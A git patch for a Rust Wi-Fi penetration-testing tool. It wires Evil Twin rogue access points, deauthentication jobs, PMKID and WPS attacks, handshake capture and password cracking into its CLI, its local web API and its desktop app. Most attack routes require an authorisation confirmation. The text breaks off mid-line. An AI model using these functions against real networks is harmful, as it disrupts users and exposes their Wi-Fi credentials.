From a3ca73e610243b2410f8da93ff049415f8aba86f Mon Sep 17 00:00:00 2001 From: Lucas Rayan Date: Sat, 24 Oct 2026 14:54:35 -0300 Subject: [PATCH] =?UTF-8?q?feat:=20orquestra=20as=20novas=20fun=C3=A7?= =?UTF-8?q?=C3=B5es=20no=20engine,=20CLI=20e=20app=20desktop;=20resili?= =?UTF-8?q?=C3=AAncia=20de=20rede?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - engine.rs: expõe Evil Twin (PSK/Enterprise), crack com regras/máscara, relatório e exportação .hc22000 pros três front-ends (CLI, servidor web da UI, Tauri). set_monitor() agora solta a interface do NetworkManager antes de ativar modo monitor e devolve ao desativar — sem isso o NM reafirma a própria conexão por cima e a captura cai sozinha pouco depois ("está em modo managed"). Evil Twin grava um arquivo de estado em disco antes de soltar as interfaces; se o processo morrer no meio (Ctrl+C sem handler, kill -9, queda de energia), o próximo início do engine desfaz tudo sozinho (self_heal_eviltwin_leftovers) — sem isso as duas interfaces ficavam presas em managed=no pro NetworkManager pra sempre e o Wi-Fi inteiro sumia do painel do sistema. hostapd/hostapd-wpe que morrem na hora de subir agora reportam a saída real capturada em log, em vez de um processo "" mudo. Novo ScanSnapshot.warning: avisa quando a sessão roda >12s sem receber nenhum quadro — sintoma de placa que aceita ativar modo monitor sem entregar captura de verdade (comum em Wi-Fi interno de notebook). - sabia-cli (main.rs/web/mod.rs) e o app desktop (Tauri main.rs) ganham as rotas/comandos equivalentes pra tudo isso. --- apps/gui/src-tauri/src/main.rs | 544 ++++++- crates/sabia-cli/src/main.rs | 8 +- crates/sabia-cli/src/web/mod.rs | 355 ++++- crates/sabia-core/src/engine.rs | 2601 ++++++++++++++++++++++++++++++- crates/sabia-core/src/lib.rs | 9 + 5 files changed, 3478 insertions(+), 39 deletions(-) diff --git a/apps/gui/src-tauri/src/main.rs b/apps/gui/src-tauri/src/main.rs index ba37232..2714da2 100644 --- a/apps/gui/src-tauri/src/main.rs +++ b/apps/gui/src-tauri/src/main.rs @@ -1,7 +1,7 @@ // Evita a janela de console extra no Windows em release. #![cfg_attr(not(debug_assertions), windows_subsystem = "windows")] -use sabia_core::engine::Engine; +use sabia_core::engine::{Engine, ScanOptions}; use std::sync::Arc; struct State(Arc); @@ -19,7 +19,10 @@ fn list_ifaces(state: tauri::State<'_, State>) -> Result, iface: String, enable: bool) -> Result<(), String> { - state.0.set_monitor(&iface, enable).map_err(|e| e.to_string()) + state + .0 + .set_monitor(&iface, enable) + .map_err(|e| e.to_string()) } #[tauri::command] @@ -33,10 +36,465 @@ fn stop_scan(state: tauri::State<'_, State>, iface: String) { } #[tauri::command] -fn scan_results(state: tauri::State<'_, State>, iface: String) -> Result { +fn scan_results( + state: tauri::State<'_, State>, + iface: String, +) -> Result { serde_json::to_value(state.0.scan_results(&iface)).map_err(|e| e.to_string()) } +#[tauri::command] +fn scan_snapshot( + state: tauri::State<'_, State>, + iface: String, +) -> Result { + let snapshot = state.0.scan_snapshot(&iface).map_err(|e| e.to_string())?; + serde_json::to_value(snapshot).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn scan_clients( + state: tauri::State<'_, State>, + iface: String, +) -> Result { + serde_json::to_value(state.0.scan_clients(&iface)).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn handshakes( + state: tauri::State<'_, State>, + iface: Option, +) -> Result { + serde_json::to_value(state.0.handshakes(iface.as_deref())).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn export_handshake( + state: tauri::State<'_, State>, + iface: String, + bssid: String, + station: String, + out: String, +) -> Result { + let report = state + .0 + .export_handshake(&iface, &bssid, &station, &out) + .map_err(|e| e.to_string())?; + serde_json::to_value(report).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn export_all_handshakes( + state: tauri::State<'_, State>, + iface: String, + out: String, +) -> Result { + let report = state + .0 + .export_all_handshakes(&iface, &out) + .map_err(|e| e.to_string())?; + serde_json::to_value(report).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn start_crack( + state: tauri::State<'_, State>, + iface: String, + wordlist: Option, + bssid: Option, + station: Option, + rules: Option, +) -> Result { + let rules = rules.unwrap_or(false); + let result = match wordlist.filter(|w| !w.trim().is_empty()) { + Some(wordlist) => state.0.start_crack( + &iface, + bssid.as_deref(), + station.as_deref(), + &wordlist, + rules, + ), + None => state + .0 + .start_crack_default(&iface, bssid.as_deref(), station.as_deref(), rules), + }; + result.map_err(|e| e.to_string()) +} + +#[tauri::command] +fn start_crack_mask( + state: tauri::State<'_, State>, + iface: String, + mask: String, + bssid: Option, + station: Option, + max_candidates: Option, +) -> Result { + state + .0 + .start_crack_mask( + &iface, + bssid.as_deref(), + station.as_deref(), + &mask, + max_candidates.unwrap_or(50_000_000), + ) + .map_err(|e| e.to_string()) +} + +#[tauri::command] +fn crack_job(state: tauri::State<'_, State>, id: String) -> Result { + match state.0.crack_job(&id) { + Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()), + None => Err("job não encontrado".into()), + } +} + +#[tauri::command] +fn crack_jobs(state: tauri::State<'_, State>) -> Result { + serde_json::to_value(state.0.crack_jobs()).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn deauth( + state: tauri::State<'_, State>, + iface: String, + bssid: String, + station: Option, + count: Option, + reason: Option, +) -> Result { + let report = state + .0 + .deauth( + &iface, + &bssid, + station.as_deref(), + count.unwrap_or(5), + reason.unwrap_or(7), + ) + .map_err(|e| e.to_string())?; + serde_json::to_value(report).map_err(|e| e.to_string()) +} + +#[tauri::command] +#[allow(clippy::too_many_arguments)] +fn deauth_directional( + state: tauri::State<'_, State>, + iface: String, + bssid: String, + station: Option, + count: Option, + reason: Option, + direction: Option, + frame_kind: Option, +) -> Result { + let report = state + .0 + .deauth_directional( + &iface, + &bssid, + station.as_deref(), + count.unwrap_or(5), + reason.unwrap_or(7), + direction.as_deref().unwrap_or("ap"), + frame_kind.as_deref().unwrap_or("deauth"), + ) + .map_err(|e| e.to_string())?; + serde_json::to_value(report).map_err(|e| e.to_string()) +} + +#[tauri::command] +#[allow(clippy::too_many_arguments)] +fn start_deauth_job( + state: tauri::State<'_, State>, + iface: String, + bssid: String, + station: Option, + reason: Option, + direction: Option, + frame_kind: Option, + interval_ms: Option, + max_secs: Option, + stop_on_handshake: Option, +) -> Result { + state + .0 + .start_deauth_job( + &iface, + &bssid, + station.as_deref(), + reason.unwrap_or(7), + direction.as_deref().unwrap_or("both"), + frame_kind.as_deref().unwrap_or("deauth"), + interval_ms.unwrap_or(120), + max_secs, + stop_on_handshake.unwrap_or(false), + ) + .map_err(|e| e.to_string()) +} + +#[tauri::command] +fn stop_deauth_job(state: tauri::State<'_, State>, id: String) -> Result<(), String> { + state.0.stop_deauth_job(&id).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn deauth_job(state: tauri::State<'_, State>, id: String) -> Result { + match state.0.deauth_job(&id) { + Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()), + None => Err("job de deauth não encontrado".into()), + } +} + +#[tauri::command] +fn deauth_jobs( + state: tauri::State<'_, State>, + iface: Option, +) -> Result { + let jobs = state.0.deauth_jobs(); + let jobs: Vec<_> = match iface { + Some(iface) => jobs + .into_iter() + .filter(|j| j.iface.eq_ignore_ascii_case(&iface)) + .collect(), + None => jobs, + }; + serde_json::to_value(jobs).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn capture_handshake( + state: tauri::State<'_, State>, + iface: String, + bssid: String, + station: Option, + seconds: Option, +) -> Result { + state + .0 + .capture_handshake(&iface, &bssid, station.as_deref(), seconds) + .map_err(|e| e.to_string()) +} + +#[tauri::command] +fn report( + state: tauri::State<'_, State>, + iface: String, +) -> Result { + let model = state.0.report(&iface).map_err(|e| e.to_string())?; + serde_json::to_value(model).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn report_html( + state: tauri::State<'_, State>, + iface: String, + inline: Option, +) -> Result { + let model = state.0.report(&iface).map_err(|e| e.to_string())?; + let options = sabia_core::report::ReportOptions { + inline_pagedjs: inline.unwrap_or(false), + ..Default::default() + }; + Ok(sabia_core::report::render(&model, options)) +} + +#[tauri::command] +fn export_hc22000( + state: tauri::State<'_, State>, + iface: String, + bssid: String, + station: String, + out: String, +) -> Result { + let report = state + .0 + .export_hc22000(&iface, &bssid, &station, &out) + .map_err(|e| e.to_string())?; + serde_json::to_value(report).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn export_all_hc22000( + state: tauri::State<'_, State>, + iface: String, + out: String, +) -> Result { + let report = state + .0 + .export_all_hc22000(&iface, &out) + .map_err(|e| e.to_string())?; + serde_json::to_value(report).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn pmkid_hunt( + state: tauri::State<'_, State>, + iface: String, + bssid: String, + attempts: Option, +) -> Result { + let report = state + .0 + .pmkid_hunt(&iface, &bssid, attempts.unwrap_or(5)) + .map_err(|e| e.to_string())?; + serde_json::to_value(report).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn pmf_test( + state: tauri::State<'_, State>, + iface: String, + bssid: String, + station: String, + reason: Option, +) -> Result { + let report = state + .0 + .pmf_test(&iface, &bssid, &station, reason.unwrap_or(7)) + .map_err(|e| e.to_string())?; + serde_json::to_value(report).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn wps_tools(state: tauri::State<'_, State>) -> Result { + serde_json::to_value(state.0.wps_tools()).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn start_wps( + state: tauri::State<'_, State>, + iface: String, + bssid: String, + channel: u32, + tool: String, + pin: Option, +) -> Result { + state + .0 + .start_wps(&iface, &bssid, channel, &tool, pin.as_deref()) + .map_err(|e| e.to_string()) +} + +#[tauri::command] +fn wps_job(state: tauri::State<'_, State>, id: String) -> Result { + match state.0.wps_job(&id) { + Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()), + None => Err("job WPS não encontrado".into()), + } +} + +#[tauri::command] +fn wps_jobs(state: tauri::State<'_, State>) -> Result { + serde_json::to_value(state.0.wps_jobs()).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn stop_wps(state: tauri::State<'_, State>, id: String) -> Result<(), String> { + state.0.stop_wps(&id).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn start_evil_twin( + state: tauri::State<'_, State>, + iface: String, + ap_iface: String, + bssid: String, + portal_port: Option, + deauth: Option, +) -> Result { + state + .0 + .start_evil_twin( + &iface, + &ap_iface, + &bssid, + portal_port.unwrap_or(8080), + deauth.unwrap_or(false), + ) + .map_err(|e| e.to_string()) +} + +#[tauri::command] +fn eviltwin_job(state: tauri::State<'_, State>, id: String) -> Result { + match state.0.eviltwin_job(&id) { + Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()), + None => Err("job de Evil Twin não encontrado".into()), + } +} + +#[tauri::command] +fn eviltwin_jobs(state: tauri::State<'_, State>) -> Result { + serde_json::to_value(state.0.eviltwin_jobs()).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn stop_evil_twin(state: tauri::State<'_, State>, id: String) -> Result<(), String> { + state.0.stop_evil_twin(&id).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn start_evil_twin_enterprise( + state: tauri::State<'_, State>, + iface: String, + ap_iface: String, + bssid: String, +) -> Result { + state + .0 + .start_evil_twin_enterprise(&iface, &ap_iface, &bssid) + .map_err(|e| e.to_string()) +} + +#[tauri::command] +fn eviltwin_enterprise_job( + state: tauri::State<'_, State>, + id: String, +) -> Result { + match state.0.enterprise_twin_job(&id) { + Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()), + None => Err("job de Evil Twin Enterprise não encontrado".into()), + } +} + +#[tauri::command] +fn eviltwin_enterprise_jobs(state: tauri::State<'_, State>) -> Result { + serde_json::to_value(state.0.enterprise_twin_jobs()).map_err(|e| e.to_string()) +} + +#[tauri::command] +fn stop_evil_twin_enterprise(state: tauri::State<'_, State>, id: String) -> Result<(), String> { + state + .0 + .stop_evil_twin_enterprise(&id) + .map_err(|e| e.to_string()) +} + +#[tauri::command] +#[allow(clippy::too_many_arguments)] +fn start_scan_opts( + state: tauri::State<'_, State>, + iface: String, + channel: Option, + band: Option, + hop_ms: Option, + pcap_out: Option, + seconds: Option, +) -> Result<(), String> { + let options = ScanOptions { + channel, + band, + hop_ms: hop_ms.unwrap_or(350), + pcap_out: pcap_out.map(Into::into), + duration_secs: seconds, + }; + state + .0 + .start_scan_with(&iface, options) + .map_err(|e| e.to_string()) +} + #[tauri::command] fn update_check(state: tauri::State<'_, State>) -> Result { let status = state.0.update_check().map_err(|e| e.to_string())?; @@ -85,7 +543,10 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> { let exe = elevated_exe()?; let log = std::env::temp_dir().join(format!("sabia-elevate-{}.log", std::process::id())); let _ = std::fs::write(&log, b""); - let out = std::fs::OpenOptions::new().append(true).open(&log).map_err(|e| e.to_string())?; + let out = std::fs::OpenOptions::new() + .append(true) + .open(&log) + .map_err(|e| e.to_string())?; let err = out.try_clone().map_err(|e| e.to_string())?; let pid = std::process::id().to_string(); @@ -93,7 +554,14 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> { let mut cmd = { let mut c = std::process::Command::new("pkexec"); c.arg("/usr/bin/env"); - for k in ["DISPLAY", "WAYLAND_DISPLAY", "XAUTHORITY", "XDG_RUNTIME_DIR", "DBUS_SESSION_BUS_ADDRESS", "GDK_BACKEND"] { + for k in [ + "DISPLAY", + "WAYLAND_DISPLAY", + "XAUTHORITY", + "XDG_RUNTIME_DIR", + "DBUS_SESSION_BUS_ADDRESS", + "GDK_BACKEND", + ] { if let Ok(v) = std::env::var(k) { c.arg(format!("{k}={v}")); } @@ -104,14 +572,23 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> { }; #[cfg(target_os = "macos")] let mut cmd = { - let shell = format!("SABIA_REPLACE_PID={} '{}' >/dev/null 2>&1 &", pid, exe.display()); - let script = format!("do shell script \"{}\" with administrator privileges", shell.replace('\\', "\\\\").replace('"', "\\\"")); + let shell = format!( + "SABIA_REPLACE_PID={} '{}' >/dev/null 2>&1 &", + pid, + exe.display() + ); + let script = format!( + "do shell script \"{}\" with administrator privileges", + shell.replace('\\', "\\\\").replace('"', "\\\"") + ); let mut c = std::process::Command::new("osascript"); c.args(["-e", &script]); c }; cmd.stdout(out).stderr(err); - let mut child = cmd.spawn().map_err(|e| format!("não foi possível pedir privilégios: {e}"))?; + let mut child = cmd + .spawn() + .map_err(|e| format!("não foi possível pedir privilégios: {e}"))?; std::thread::spawn(move || { let status = child.wait(); if matches!(&status, Ok(s) if s.success()) { @@ -122,7 +599,10 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> { let msg = match status.ok().and_then(|s| s.code()) { Some(126) => "Autorização cancelada.".to_string(), Some(127) => "Não foi possível autenticar como administrador.".to_string(), - _ => format!("Não foi possível reiniciar como administrador. {}", detail.lines().last().unwrap_or("").trim()), + _ => format!( + "Não foi possível reiniciar como administrador. {}", + detail.lines().last().unwrap_or("").trim() + ), }; let _ = app.emit("elevate-failed", msg); let _ = std::fs::remove_file(&log); @@ -135,7 +615,10 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> { /// usa o próprio arquivo `.AppImage` (variável `APPIMAGE`). #[cfg(any(target_os = "linux", target_os = "macos"))] fn elevated_exe() -> Result { - if let Some(p) = std::env::var_os("APPIMAGE").map(std::path::PathBuf::from).filter(|p| p.is_file()) { + if let Some(p) = std::env::var_os("APPIMAGE") + .map(std::path::PathBuf::from) + .filter(|p| p.is_file()) + { return Ok(p); } std::env::current_exe().map_err(|e| e.to_string()) @@ -148,7 +631,10 @@ fn main() { .setup(|app| { // Quando abrimos elevados a pedido do app normal, ele fecha o app antigo. #[cfg(unix)] - if let Some(pid) = std::env::var("SABIA_REPLACE_PID").ok().and_then(|p| p.parse::().ok()) { + if let Some(pid) = std::env::var("SABIA_REPLACE_PID") + .ok() + .and_then(|p| p.parse::().ok()) + { std::thread::spawn(move || { std::thread::sleep(std::time::Duration::from_millis(1200)); // SAFETY: só envia SIGTERM ao processo anterior do próprio usuário. @@ -180,6 +666,42 @@ fn main() { start_scan, stop_scan, scan_results, + scan_snapshot, + scan_clients, + handshakes, + export_handshake, + export_all_handshakes, + start_crack, + start_crack_mask, + crack_job, + crack_jobs, + deauth, + deauth_directional, + start_deauth_job, + stop_deauth_job, + deauth_job, + deauth_jobs, + capture_handshake, + report, + report_html, + export_hc22000, + export_all_hc22000, + pmkid_hunt, + pmf_test, + wps_tools, + start_wps, + wps_job, + wps_jobs, + stop_wps, + start_evil_twin, + eviltwin_job, + eviltwin_jobs, + stop_evil_twin, + start_evil_twin_enterprise, + eviltwin_enterprise_job, + eviltwin_enterprise_jobs, + stop_evil_twin_enterprise, + start_scan_opts, update_check, update_apply, is_elevated, diff --git a/crates/sabia-cli/src/main.rs b/crates/sabia-cli/src/main.rs index bcf7152..124f0dc 100644 --- a/crates/sabia-cli/src/main.rs +++ b/crates/sabia-cli/src/main.rs @@ -72,6 +72,10 @@ enum Cmd { bssid: Option, #[arg(long)] station: Option, + /// Aplica mutações comuns a cada palavra (maiúscula, sufixos + /// numéricos, leet simples) — multiplica o tempo de verdade. + #[arg(long)] + rules: bool, #[arg(long)] json: bool, }, @@ -275,6 +279,7 @@ fn run(cli: Cli) -> sabia_core::Result<()> { wordlist, bssid, station, + rules, json, } => { let mut last = 0u64; @@ -283,6 +288,7 @@ fn run(cli: Cli) -> sabia_core::Result<()> { &wordlist, bssid.as_deref(), station.as_deref(), + rules, |tried| { if tried.saturating_sub(last) >= 4096 { eprint!("\r{tried} senhas testadas…"); @@ -412,7 +418,7 @@ fn crack_first(engine: &Engine, iface: &str, wordlist: &PathBuf) -> sabia_core:: hs.bssid, wordlist.display() ); - let id = engine.start_crack(iface, Some(&hs.bssid), Some(&hs.station), wordlist)?; + let id = engine.start_crack(iface, Some(&hs.bssid), Some(&hs.station), wordlist, false)?; loop { let job = engine.crack_job(&id).expect("job"); if job.status == "running" { diff --git a/crates/sabia-cli/src/web/mod.rs b/crates/sabia-cli/src/web/mod.rs index 26e762f..a9b80b2 100644 --- a/crates/sabia-cli/src/web/mod.rs +++ b/crates/sabia-cli/src/web/mod.rs @@ -15,13 +15,29 @@ use std::time::{SystemTime, UNIX_EPOCH}; const INDEX_HTML: &str = include_str!("../../../../apps/gui/ui/index.html"); const APP_CSS: &str = include_str!("../../../../apps/gui/ui/app.css"); const APP_JS: &str = include_str!("../../../../apps/gui/ui/app.js"); +const I18N_JS: &str = include_str!("../../../../apps/gui/ui/i18n.js"); +const I18N_EN_JS: &str = include_str!("../../../../apps/gui/ui/i18n-en.js"); const LOGO_PNG: &[u8] = include_bytes!("../../../../apps/gui/ui/sabia.png"); +const PAGED_JS: &str = include_str!("../../../../apps/gui/ui/paged.polyfill.min.js"); pub fn serve(port: u16, audit_path: std::path::PathBuf, open: bool) -> sabia_core::Result<()> { let token = gen_token(); let listener = TcpListener::bind(("127.0.0.1", port))?; let engine = Arc::new(Engine::with_audit_path(audit_path)); + // Sem isso, Ctrl+C (ou um `kill` normal) durante um Evil Twin ativo + // mata o processo sem rodar a limpeza: hostapd/dnsmasq ficam órfãos + // e as duas interfaces ficam presas em `managed no` pro + // NetworkManager — o painel de Wi-Fi do sistema some por completo até + // o próximo início do engine se auto-curar. + { + let engine = engine.clone(); + let _ = ctrlc::set_handler(move || { + engine.shutdown_cleanup(); + std::process::exit(0); + }); + } + println!("Sabiá UI em http://127.0.0.1:{port}/?token={token}"); if open { let _ = open_browser(&format!("http://127.0.0.1:{port}/?token={token}")); @@ -225,7 +241,48 @@ fn handle( ); } + if req.path == "/api/report.html" { + if req.token.as_deref() != Some(expected_token) { + return respond(&mut stream, 401, "text/plain", b"token invalido"); + } + let Some(iface) = req.text("iface") else { + return respond(&mut stream, 400, "text/plain", b"iface obrigatoria"); + }; + return match engine.report(&iface) { + Ok(model) => { + let download = req.bool("download"); + let mut html = sabia_core::report::render( + &model, + sabia_core::report::ReportOptions { + inline_pagedjs: download, + }, + ); + if download { + html = html.replace( + "", + &format!(""), + ); + } + respond( + &mut stream, + 200, + "text/html; charset=utf-8", + html.as_bytes(), + ) + } + Err(e) => respond(&mut stream, 400, "text/plain", e.to_string().as_bytes()), + }; + } + match req.path.as_str() { + "/paged.polyfill.min.js" => { + return respond( + &mut stream, + 200, + "application/javascript", + PAGED_JS.as_bytes(), + ) + } "/app.css" => return respond(&mut stream, 200, "text/css", APP_CSS.as_bytes()), "/app.js" => { return respond( @@ -235,6 +292,22 @@ fn handle( APP_JS.as_bytes(), ) } + "/i18n.js" => { + return respond( + &mut stream, + 200, + "application/javascript", + I18N_JS.as_bytes(), + ) + } + "/i18n-en.js" => { + return respond( + &mut stream, + 200, + "application/javascript", + I18N_EN_JS.as_bytes(), + ) + } "/sabia.png" => return respond(&mut stream, 200, "image/png", LOGO_PNG), _ => {} } @@ -408,13 +481,210 @@ fn api(engine: &Arc, req: &Request) -> (u16, String) { Err(e) => err(400, e), } } + ("POST", "/api/handshakes/export-hc22000") => { + let (Some(iface), Some(bssid), Some(station), Some(out)) = ( + req.text("iface"), + req.text("bssid"), + req.text("station"), + req.text("out"), + ) else { + return err(400, "iface, bssid, station e out são obrigatórios"); + }; + match engine.export_hc22000(&iface, &bssid, &station, &out) { + Ok(report) => ok(&report), + Err(e) => err(400, e), + } + } + ("POST", "/api/handshakes/export-all-hc22000") => { + let (Some(iface), Some(out)) = (req.text("iface"), req.text("out")) else { + return err(400, "iface e out são obrigatórios"); + }; + match engine.export_all_hc22000(&iface, &out) { + Ok(report) => ok(&report), + Err(e) => err(400, e), + } + } + ("GET", "/api/report") => { + let Some(iface) = req.text("iface") else { + return err(400, "iface obrigatória"); + }; + match engine.report(&iface) { + Ok(model) => ok(&model), + Err(e) => err(400, e), + } + } + ("GET", "/api/wps/tools") => ok(&engine.wps_tools()), + ("POST", "/api/wps") => { + if !req.bool("confirm") { + return err(400, "confirme a autorização do teste (confirm=true)"); + } + let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else { + return err(400, "iface e bssid são obrigatórios"); + }; + let tool = req.text("tool").unwrap_or_else(|| "reaver".into()); + let channel = req.u32("channel").unwrap_or(0); + let pin = req.text("pin"); + match engine.start_wps(&iface, &bssid, channel, &tool, pin.as_deref()) { + Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })), + Err(e) => err(400, e), + } + } + ("GET", "/api/wps") => { + let Some(id) = req.text("id") else { + return err(400, "id obrigatório"); + }; + match engine.wps_job(&id) { + Some(job) => ok(&job), + None => err(404, "job não encontrado"), + } + } + ("GET", "/api/wps/jobs") => ok(&engine.wps_jobs()), + ("POST", "/api/wps/stop") => { + let Some(id) = req.text("id") else { + return err(400, "id obrigatório"); + }; + match engine.stop_wps(&id) { + Ok(()) => ok_json(serde_json::json!({ "ok": true })), + Err(e) => err(400, e), + } + } + ("POST", "/api/eviltwin") => { + if !req.bool("confirm") { + return err(400, "confirme a autorização do teste (confirm=true)"); + } + let (Some(iface), Some(ap_iface), Some(bssid)) = + (req.text("iface"), req.text("ap_iface"), req.text("bssid")) + else { + return err(400, "iface, ap_iface e bssid são obrigatórios"); + }; + let portal_port = req.u16("portal_port").unwrap_or(8080); + let deauth = req.bool("deauth"); + match engine.start_evil_twin(&iface, &ap_iface, &bssid, portal_port, deauth) { + Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })), + Err(e) => err(400, e), + } + } + ("GET", "/api/eviltwin") => { + let Some(id) = req.text("id") else { + return err(400, "id obrigatório"); + }; + match engine.eviltwin_job(&id) { + Some(job) => ok(&job), + None => err(404, "job não encontrado"), + } + } + ("GET", "/api/eviltwins") => ok(&engine.eviltwin_jobs()), + ("POST", "/api/eviltwin/stop") => { + let Some(id) = req.text("id") else { + return err(400, "id obrigatório"); + }; + match engine.stop_evil_twin(&id) { + Ok(()) => ok_json(serde_json::json!({ "ok": true })), + Err(e) => err(400, e), + } + } + ("POST", "/api/eviltwin-enterprise") => { + if !req.bool("confirm") { + return err(400, "confirme a autorização do teste (confirm=true)"); + } + let (Some(iface), Some(ap_iface), Some(bssid)) = + (req.text("iface"), req.text("ap_iface"), req.text("bssid")) + else { + return err(400, "iface, ap_iface e bssid são obrigatórios"); + }; + match engine.start_evil_twin_enterprise(&iface, &ap_iface, &bssid) { + Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })), + Err(e) => err(400, e), + } + } + ("GET", "/api/eviltwin-enterprise") => { + let Some(id) = req.text("id") else { + return err(400, "id obrigatório"); + }; + match engine.enterprise_twin_job(&id) { + Some(job) => ok(&job), + None => err(404, "job não encontrado"), + } + } + ("GET", "/api/eviltwins-enterprise") => ok(&engine.enterprise_twin_jobs()), + ("POST", "/api/eviltwin-enterprise/stop") => { + let Some(id) = req.text("id") else { + return err(400, "id obrigatório"); + }; + match engine.stop_evil_twin_enterprise(&id) { + Ok(()) => ok_json(serde_json::json!({ "ok": true })), + Err(e) => err(400, e), + } + } + ("POST", "/api/pmkid") => { + if !req.bool("confirm") { + return err(400, "confirme a autorização do teste (confirm=true)"); + } + let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else { + return err(400, "iface e bssid são obrigatórios"); + }; + let attempts = req.u32("attempts").unwrap_or(5); + match engine.pmkid_hunt(&iface, &bssid, attempts) { + Ok(report) => ok(&report), + Err(e) => err(400, e), + } + } + ("POST", "/api/pmf") => { + if !req.bool("confirm") { + return err(400, "confirme a autorização do teste (confirm=true)"); + } + let (Some(iface), Some(bssid), Some(station)) = + (req.text("iface"), req.text("bssid"), req.text("station")) + else { + return err(400, "iface, bssid e station são obrigatórios"); + }; + let reason = req.u16("reason").unwrap_or(7); + match engine.pmf_test(&iface, &bssid, &station, reason) { + Ok(report) => ok(&report), + Err(e) => err(400, e), + } + } ("POST", "/api/crack") => { - let (Some(iface), Some(wordlist)) = (req.text("iface"), req.text("wordlist")) else { - return err(400, "iface e wordlist são obrigatórios"); + let Some(iface) = req.text("iface") else { + return err(400, "iface é obrigatória"); }; let bssid = req.text("bssid"); let station = req.text("station"); - match engine.start_crack(&iface, bssid.as_deref(), station.as_deref(), &wordlist) { + let rules = req.bool("rules"); + let result = match req.text("wordlist") { + Some(wordlist) if !wordlist.trim().is_empty() => engine.start_crack( + &iface, + bssid.as_deref(), + station.as_deref(), + &wordlist, + rules, + ), + _ => { + engine.start_crack_default(&iface, bssid.as_deref(), station.as_deref(), rules) + } + }; + match result { + Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })), + Err(e) => err(400, e), + } + } + ("POST", "/api/crack/mask") => { + let Some(iface) = req.text("iface") else { + return err(400, "iface é obrigatória"); + }; + let Some(mask) = req.text("mask").filter(|m| !m.trim().is_empty()) else { + return err(400, "máscara é obrigatória"); + }; + let bssid = req.text("bssid"); + let station = req.text("station"); + let max_candidates = req.u64("max_candidates").unwrap_or(50_000_000); + match engine.start_crack_mask( + &iface, + bssid.as_deref(), + station.as_deref(), + &mask, + max_candidates, + ) { Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })), Err(e) => err(400, e), } @@ -441,17 +711,94 @@ fn api(engine: &Arc, req: &Request) -> (u16, String) { }; let count = req.u32("count").unwrap_or(5); let reason = req.u16("reason").unwrap_or(7); - match engine.deauth( + let direction = req.text("direction").unwrap_or_else(|| "ap".into()); + let frame_kind = req.text("frame").unwrap_or_else(|| "deauth".into()); + match engine.deauth_directional( &iface, &bssid, req.text("station").as_deref(), count, reason, + &direction, + &frame_kind, ) { Ok(report) => ok(&report), Err(e) => err(400, e), } } + ("POST", "/api/deauth/start") => { + if !req.bool("confirm") { + return err( + 400, + "confirme a autorização do teste (confirm=true) antes de desautenticar", + ); + } + let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else { + return err(400, "iface e bssid são obrigatórios"); + }; + let reason = req.u16("reason").unwrap_or(7); + let direction = req.text("direction").unwrap_or_else(|| "both".into()); + let frame_kind = req.text("frame").unwrap_or_else(|| "deauth".into()); + let interval_ms = req.u64("interval_ms").unwrap_or(120); + let max_secs = req.u64("max_secs"); + let stop_on_handshake = req.bool("stop_on_handshake"); + match engine.start_deauth_job( + &iface, + &bssid, + req.text("station").as_deref(), + reason, + &direction, + &frame_kind, + interval_ms, + max_secs, + stop_on_handshake, + ) { + Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })), + Err(e) => err(400, e), + } + } + ("POST", "/api/deauth/stop") => { + let Some(id) = req.text("id") else { + return err(400, "id obrigatório"); + }; + match engine.stop_deauth_job(&id) { + Ok(()) => ok_json(serde_json::json!({ "ok": true })), + Err(e) => err(400, e), + } + } + ("GET", "/api/deauth/job") => { + let Some(id) = req.text("id") else { + return err(400, "id obrigatório"); + }; + match engine.deauth_job(&id) { + Some(job) => ok(&job), + None => err(404, "job não encontrado"), + } + } + ("GET", "/api/deauth/jobs") => { + let jobs = engine.deauth_jobs(); + match req.text("iface") { + Some(iface) => ok(&jobs + .into_iter() + .filter(|j| j.iface.eq_ignore_ascii_case(&iface)) + .collect::>()), + None => ok(&jobs), + } + } + ("POST", "/api/handshakes/capture") => { + if !req.bool("confirm") { + return err(400, "confirme a autorização do teste (confirm=true)"); + } + let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else { + return err(400, "iface e bssid são obrigatórios"); + }; + let seconds = req.u64("seconds"); + match engine.capture_handshake(&iface, &bssid, req.text("station").as_deref(), seconds) + { + Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })), + Err(e) => err(400, e), + } + } ("POST", "/api/analyze") => { let pcap = if 